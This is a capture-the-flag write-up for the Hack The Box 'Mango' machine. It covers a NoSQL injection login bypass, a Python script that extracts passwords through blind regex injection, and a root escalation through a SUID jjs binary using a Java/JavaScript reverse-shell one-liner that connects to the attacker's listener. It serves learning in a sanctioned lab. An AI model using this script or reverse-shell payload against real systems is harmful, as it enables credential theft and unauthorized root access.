Hack The Box - Mango
Published April 19, 2020Box Info
Box profile: Mango
OS: Linux
Maker: MrR3boot
Release date: October 26, 2019
Retire date: April 18, 2020
Own date: April 18, 2020
Foreword
These writeups should be taken as insight into the processes and techniques involved rather than a walkthrough to completing the boxes in question. You should never execute code without first understanding what it does, and always do outside research in order to figure out why you're taking the steps you are. This is for your safety, and also ensures that you have an understanding of the fundamentals involved with the ability to reproduce things in new and different scenarios. As such, while these guides outline fairly precise steps to take, some of the more basic information may be omitted for brevity.
If you do not understand what is going on, read the manual until you do.
Introduction
Mango was a very enjoyable beginner box that took a bit of knowledge that was parallel to what a lot of web penetration testers might be used to. It involved a couple rabbit holes that could easily throw you off, but it was fairly straightforward to work with once you knew what to pay attention to.
Initial Enumeration
Our nmap scan shows us a very limited array of potential entrypoints: two web servers and an SSH server.
att$ nmap -sV -T4 10.10.10.162
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
443/tcp open ssl/http Apache httpd 2.4.29 ((Ubuntu))
The HTTP web server on port 80 simply gives us a "forbidden" error message, but the HTTPS web server on port 443 gives us a much more interesting search page.
As we explore around this website we find that we only seem to have the main search page and an analytics page. The analytics page is powered by Flexmonster, which is no use to us because it is entirely client-side software. In other words, once you're on the page, your browser does not communicate any further with the server.
Fortunately, there's more information that we can discern from this server without resorting to brute force or web fuzzing. If we check the SSL certificate we can see that it's been issued for the domain staging-order.mango.htb
. After plugging that into our hosts file and pointing it towards the server address, we can navigate to it on unsecured HTTP, where we're presented with a web login.
All that we can find here is the login page. SQL injection attacks don't seem to affect it at all, but what if this login page is using MongoDB? MongoDB is a different kind of database from SQL; it is a NoSQL engine with an entirely different syntax. Even though it functions differently, it's still possible to inject things into it if it's not coded properly.
NoSQL Injection
For a quick and dirty test we can use the dev tools that Firefox and Chrome give us to patch the login form how we need it. To do so, you simply need to right click the form, click "Inspect Element", and double click the code you want to edit in the "Inspector" panel that pops up. Let's use this to change the username
element's name
field to name="username[$ne]"
and password
's field to name="password[$ne]"
. Setting a MongoDB query's value to an associative array with key $ne
makes it a "not equal" operator, so if the login is vulnerable to this injection then instead of checking for valid credentials it should let us in if our credentials are wrong.
Sure enough, the login is vulnerable to this injection and we've found ourselves on a clever-looking "under construction" page.
This doesn't give us anything new to go on, but what if instead of forcing our way past this web login we used the injection to extract a password? If there is password reuse on this server then we could then try the password on SSH, giving us a nice shell to work with.
Data Extraction
Extracting a password here won't be as simple as just injecting code and getting it in the response. The only output that is ever given is in the form of HTTP status codes 200 for an incorrect login and 302 for a correct login. Thankfully, there's a clever trick that we can employ: By guessing partial data and checking the returned status code, we can piece the password together without having to go through a fully fledged bruteforce. This is enabled by another MongoDB operator to supply the query with regex.
To do this manually would still take a long time so we're going to automate the process with a Python script. We're going to first determine the password length, then we'll check characters until we get the first one right. We'll add that character to the known password, check for the second character, then repeat the process until we fill up the entire length.
password_extract.py
#!/usr/bin/env python3
import requests import string
target = 'http://staging-order.mango.htb/' data = { 'username':'', 'password[$regex]':'', 'login':'login' } password_len = 0 password = ''
data['username'] = input('Username to attack: ')
session = requests.Session() print("Determining password length...") for i in range(1,33): data['password[$regex]'] = f'^.{{{i}}}$' r = session.post(target, data=data, allow_redirects=False) if r.status_code == 302: password_len = i print(f"Password determined to be {i} chars long.") break if password_len == 0: # password length not determined print(f"Password is megabighuge. Aborting!") quit()
for i in range(password_len): for _c in string.printable: if _c in "[\^$.|?*+()": c = "\"+_c else: c = _c data['password[$regex]'] = f'^{password}{c}' r = session.post(target, data=data, allow_redirects=False) if r.status_code == 302: password += _c print(password.ljust(password_len, '?')) break if len(password) != i+1: print("Password using charset outside printable chars. Aborting!") quit()
print("Password found!") print(password)
If we run this code with a guessed username "mango", we get our password! We can then successfully log into SSH with these credentials.
man$ id
uid=1000(mango) gid=1000(mango) groups=1000(mango)
Now that we're inside a shell we can see that there's yet another user on this system named "admin". If we run our previous script to try enumerating a password for this username as well, we do get yet another password. This password doesn't seem to work on SSH, but by using the su
command as our mango user, the password indeed works and we can now run as this other user as well.
man$ su admin
Password:
man$ id
uid=4000000000(admin) gid=1001(admin) groups=1001(admin)
Privelege Escalation
Even though we're running as an "admin" user we're not quite done yet. We still need to get root.
One of the first things that should always be checked after gaining shell access is if any strange programs have SUID/SGID set. SUID (Set User ID) is a special permission for executable files. When a program is run with this set, it runs as the owner rather than the user that invoked it. This is often used for programs such as ping
and passwd
where special permissions are required for it to work properly, though they usually run with checks in place to make sure that the user cannot pretend to be someone else in order to do anything malicious. SGID (Set Group ID) works similarly, but with groups.
Let's use the find
command to search for any such executables.
man$ find / -type f -perm /6000 -ls 2>/dev/null
...
root admin /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
...
Buried within this list is a very interesting entry. jjs is a tool within Oracle's Java Development Kit that interprets JavaScript code using the Nashorn engine. Since root owns this file and it has SUID set, executing it should run with full root privileges. Let's open up a netcat listener on our own machine and then try running some code using jjs that connects to our listener and gives us a shell. We'll be adapting some code from GTFOBins for this.
att$ nc -lp 5555
man$ echo 'var ProcessBuilder = Java.type("java.lang.ProcessBuilder");var p=new ProcessBuilder("/bin/sh", "-p").redirectErrorStream(true).start();var Socket = Java.type("java.net.Socket");var s=new Socket("10.10.15.230",5555);var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){ while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Java.type("java.lang.Thread").sleep(50);try{p.exitValue();break;}catch (e){}};p.destroy();s.close();' | jjs
When we check our netcat session we find ourselves in a new shell.
man$ id && whoami
uid=4000000000(admin) gid=1001(admin) euid=0(root) groups=1001(admin)
root
That "euid" is our "effective" user ID, which means that we're successfully running a shell as root.
Conclusion
After accessing a web service, we used its SSL certificate to determine a valid hostname for another web service running on the same server. This second web service contained a vulnerable login page that was driven by MongoDB. By writing a script that injects some clever code into this login page, we were able to extract two passwords for users on the host system that we then used to log in via SSH. Once we were logged into a shell, we found a scriptable executable owned by root with its SUID set, which we then used to gain an root shell.
Overall this was a very fun and quite relaxing box to break into. Despite there being seemingly nothing to go on at first, once a trail was found there was a very natural progression to the end. I tend to find web-based penetrations such as this one very enjoyable despite not being particularly challenging. With that said, having it employ a NoSQLi vulnerability rather than an SQLi one gave it an interesting twist that changed the playing field just enough to require some extra research.